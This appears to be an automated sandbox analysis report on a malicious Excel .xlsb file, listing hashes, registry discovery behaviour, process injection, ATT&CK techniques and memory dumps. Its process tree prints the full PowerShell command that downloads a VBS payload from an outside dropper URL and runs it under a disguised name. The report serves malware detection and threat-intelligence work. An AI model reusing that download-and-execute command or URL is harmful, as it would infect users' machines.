52b575d356d01ed7ee3bac6f661a15445b25114ede3b17abd84c5f23ffdd7f7e

Analysis

max time kernel
162s
max time network
182s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
30-11-2022 15:56

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General

Target

52b575d356d01ed7ee3bac6f661a15445b25114ede3b17abd84c5f23ffdd7f7e.xlsb
Size

18KB
MD5

bf38346431c758df4bd99e3d4b5fcab1
SHA1

08f72bdd853bd37bcfc697e58ea78faad64007a1
SHA256

52b575d356d01ed7ee3bac6f661a15445b25114ede3b17abd84c5f23ffdd7f7e
SHA512

e8ac260a57fa01d7c45d42997a567fe3951151cd35b0d3da79163d9e324f4bf34f071e2db01c61ceb03a10de2953f1bd6167556d99c6e88edce1423d9acfc38e
SSDEEP

384:4FhW90ydPUDyn1MtzIVc/bmNLAwQghdkHTCFqnM2i7NPwG8:MQ1U6cszQEdN8nM2ipPQ

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://fast-cargo.com/images/file/vb/Upload.vbs

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4108	4568	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

53 4108 powershell.exe

flow	pid	process
53	4108	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4568 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4108 powershell.exe
4108 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4108 powershell.exe

pid	process
4108	powershell.exe
4108	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4108	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4568	EXCEL.EXE
4568	EXCEL.EXE
4568	EXCEL.EXE
4568	EXCEL.EXE
4568	EXCEL.EXE
4568	EXCEL.EXE
4568	EXCEL.EXE
4568	EXCEL.EXE
4568	EXCEL.EXE
4568	EXCEL.EXE
4568	EXCEL.EXE
4568	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 4568 wrote to memory of 4108	4568	EXCEL.EXE	powershell.exe
PID 4568 wrote to memory of 4108	4568	EXCEL.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\52b575d356d01ed7ee3bac6f661a15445b25114ede3b17abd84c5f23ffdd7f7e.xlsb"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://fast-cargo.com/images/file/vb/Upload.vbs','C:\Users\Public\svchost32.vbs');Start-Process 'C:\Users\Public\svchost32.vbs'
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4108

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/4108-139-0x0000000000000000-mapping.dmp

Download
memory/4108-142-0x00007FFB4A3D0000-0x00007FFB4AE91000-memory.dmp

Filesize
10.8MB

Download
memory/4108-141-0x00007FFB4A3D0000-0x00007FFB4AE91000-memory.dmp

Filesize
10.8MB

Download
memory/4108-140-0x0000014A35AB0000-0x0000014A35AD2000-memory.dmp

Filesize
136KB

Download
memory/4568-135-0x00007FFB32DD0000-0x00007FFB32DE0000-memory.dmp

Filesize
64KB

Download
memory/4568-137-0x00007FFB30520000-0x00007FFB30530000-memory.dmp

Filesize
64KB

Download
memory/4568-138-0x00007FFB30520000-0x00007FFB30530000-memory.dmp

Filesize
64KB

Download
memory/4568-136-0x00007FFB32DD0000-0x00007FFB32DE0000-memory.dmp

Filesize
64KB

Download
memory/4568-132-0x00007FFB32DD0000-0x00007FFB32DE0000-memory.dmp

Filesize
64KB

Download
memory/4568-134-0x00007FFB32DD0000-0x00007FFB32DE0000-memory.dmp

Filesize
64KB

Download
memory/4568-133-0x00007FFB32DD0000-0x00007FFB32DE0000-memory.dmp

Filesize
64KB

Download
memory/4568-144-0x00007FFB32DD0000-0x00007FFB32DE0000-memory.dmp

Filesize
64KB

Download
memory/4568-145-0x00007FFB32DD0000-0x00007FFB32DE0000-memory.dmp

Filesize
64KB

Download
memory/4568-146-0x00007FFB32DD0000-0x00007FFB32DE0000-memory.dmp

Filesize
64KB

Download
memory/4568-147-0x00007FFB32DD0000-0x00007FFB32DE0000-memory.dmp

Filesize
64KB

Download